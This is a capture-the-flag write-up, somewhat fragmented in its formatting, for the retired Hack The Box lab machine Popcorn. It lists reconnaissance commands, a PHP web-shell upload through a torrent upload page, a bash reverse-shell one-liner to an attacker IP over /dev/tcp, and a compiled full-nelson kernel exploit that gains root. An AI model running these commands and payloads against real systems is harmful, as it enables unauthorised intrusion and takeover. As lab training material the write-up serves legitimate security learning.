Retired Medium Machine by ch4p
nmap -A 10.10.10.6
gives two open ports, port 22 for ssh and 80 for http.gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
gives some links as output. Output shows some links, /test
, /index
, /torrent
etc./test
page shows phpinfo
allowed file upload./torrent
page we can see sign up and log in option./torrent/upload
directory to get our file and simple curl http://10.10.10.6/torrent/upload/3like1share3folllow3subscribe7.php?test=whoami
will execute command on the server.nc -lvnp 1337
and command curl http://10.10.10.6/torrent/upload/0ba973670d943861fb9453eecefd3bf7d3054713.php --data-urlencode "test=bash -c 'bash -i >& /dev/tcp/10.10.14.100/1337 0>&1'"
will give us shell as user www-data
.user.txt
as www-data
for user george
with command cat /home/george/user.txt
.
www-data@popcorn: ls /home
george
www-data@popcorn: cat /home/george/user.txt
userflaglikesharesubscribefollow
gcc full-nelson.c -o full-nelson
. www-data@popcorn:tmp$ gcc full-nelson.c - exploit
gcc full-nelson.c - exploit
www-data@popcorn:tmp$ chmod +x exploit
chmod +x exploit
www-data@popcorn:tmp$ ./exploit
www-data@popcorn:tmp$ ./exploit
www-data@popcorn:tmp$ ./exploit
./exploit
id
uid=0(root) gid=0(root)
cat /root/root.txt
rootflaglikesharesubscribefollow
Author: Zishan Ahamed Thandar